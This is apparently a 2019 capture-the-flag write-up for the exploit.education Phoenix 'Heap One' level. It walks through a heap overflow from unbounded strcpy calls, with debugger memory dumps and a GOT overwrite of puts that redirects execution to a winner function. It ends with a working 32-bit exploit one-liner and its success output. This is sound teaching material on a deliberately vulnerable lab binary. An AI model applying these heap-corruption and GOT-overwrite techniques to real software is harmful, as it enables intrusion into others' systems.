16 April 2019

Heap 1

Write-up for: https://exploit.education/phoenix/heap-one/.

The vulnerability

In this challenge, we have two calls to strcpy without bounds checking. This can result in memory corruption. The goal is to abuse this fact to redirect control flow to the winner function.

Exploit

The struct in this program contains a char pointer. Memory for this is allocated on the heap with one malloc(8) call each. Then, using strcpy, user input is copied to the memory location pointed to by i1->name. The key to exploiting this program is using the first strcpy to override the pointer content of i2->name. By doing so we can write arbitrary data to an arbitrary memory location. This can be leveraged to overwrite an entry in the GOT to redirect code execution.

struct heapStructure {
    int priority;
    char *name;
};
...
i1->name = malloc(8);
...
i2->name = malloc(8);
...
strcpy(i1->name, argv[1]);
strcpy(i2->name, argv[2]);

We start by analyzing the normal execution of the program to determine the relevant memory layout. By looking at the disassembly (we are working with the 64-bit version here), we can see that rsi points to the first argument value:

0x400ab9 <main+124>       mov    rsi, rdx
0x400abc <main+127>       mov    rdi, rax
→   0x400abf <main+130>       call   0x4007f0 <strcpy@plt>

$rsi   : 0x00007fffffffe7e2  →  0x0041414141414141 ("AAAAAAA"?)

This value is copied to the address stored in rdi:

$rdi   : 0x00007ffff7ef6030

This means, i1->name points to this address. This is the address returned by the call to malloc(8). Repeating this step for i2 reveals this address:

$rsi   : 0x00007fffffffe7ea  →  0x0042424242424242 ("BBBBBBB"?)
$rdi   : 0x00007ffff7ef6070  →  0x0000000000000000

This results in an offset of 0x40 bytes between i1->name and i2->name.

We also need to find the structs in memory. Remember, our goal is to overwrite the address of i2->name so that the call to strcpy writes data to an arbitrary location. The location of the string itself is not as interesting to us as attackers. But we can use the location of the string to look at the surrounding heap memory.

*i1 (pointer on the stack)
    -> i1 (struct on the heap)
     - priority (integer)
     - name pointer(char *)
        -> name (8 bytes on the heap)

gef➤  x/32g $rdi-0x60
0x7ffff7ef6010: 0x0000000000000001      0x00007ffff7ef6030
0x7ffff7ef6020: 0x0000000000000000      0x0000000000000021
0x7ffff7ef6030: 0x0041414141414141      0x0000000000000000
0x7ffff7ef6040: 0x0000000000000000      0x0000000000000021
0x7ffff7ef6050: 0x0000000000000002   -->0x00007ffff7ef6070<--
0x7ffff7ef6060: 0x0000000000000000      0x0000000000000021
0x7ffff7ef6070: 0x0042424242424242      0x0000000000000000
0x7ffff7ef6080: 0x0000000000000000      0x00000000000fff81
0x7ffff7ef6090: 0x0000000000000000      0x0000000000000000
0x7ffff7ef60a0: 0x0000000000000000      0x0000000000000000

This is the heap memory after both strcpy calls. This shows us the memory layout we are interested in:

i1->priority (1)
address of i1->name
padding / control data
i1->name
padding / control data
i2->priority (2)
address of i2->name (TO BE OVERWRITTEN)
padding / control data
i2->name

With this information we can now overwrite the target address of the second strcpy call (the address of i2->name). The offset is 0x28 from i1->name (0x00414141….) to the address of i2->name (0x00007ffff7ef6070).

gef➤ run $(python -c 'print("A"*0x28 + "BBBBBBBB" " " + "C"*7)')

Breaking before the second strcpy shows the following situation:

strcpy@plt (
    $rdi = 0x4242424242424242,
    $rsi = 0x00007fffffffe7ea → 0x0043434343434343 ("CCCCCCC"?),
    $rdx = 0x00007fffffffe7ea → 0x0043434343434343 ("CCCCCCC"?)
)

Great! We’re writing CCCCC.. to an address of our choosing (0x424242…)! Now we need to find the GOT table entry for printf (which is optimized to be puts) and overwrite the value with the address of the winner function.

0x0000000000400ae7 <+170>:   call   0x400840 <puts@plt>
...
gef➤  disas 0x400840
Dump of assembler code for function puts@plt:
0x0000000000400840 <+0>:     jmp    QWORD PTR [rip+0x20398a]        # 0x6041d0 <puts@got.plt>
...
gef➤  print &winner
$1 = (<text variable, no debug info> *) 0x400af3 <winner>

Now we have a problem. Since we are on a 64-bit system, the actual address that we want to overwrite is 0x00000000006041d0. That’s a lot of null bytes. Since we overwrite it using strcpy it will terminate once it encounters a null byte. That means the resulting value will be 0x0x00007fff006041d0. Not where want to write to :(.

Currently, I have no clue how to overcome this issue. I’ll come back to this after doing more research. So for now, here is the final exploit for the 32-bit version (created using the same steps as outlined above!):

user@phoenix-amd64:/opt/phoenix/i486$ ./heap-one $(python -c 'import struct; print "A"*20 + struct.pack("<I", 0x804c140) + " " + struct.pack("<I", 0x804889a)')
Congratulations, you've completed this level @ 1555400694 seconds past the Epoch

<I specifies a little endian integer value. The first address (puts@got) was determined by stepping through the first call to puts once in order to have the address resolved.

Additional links: GOT and PLT for pwning GEF (GDB extension) documentation Exploiting the heap Azeria’s amazing series on heap exploitation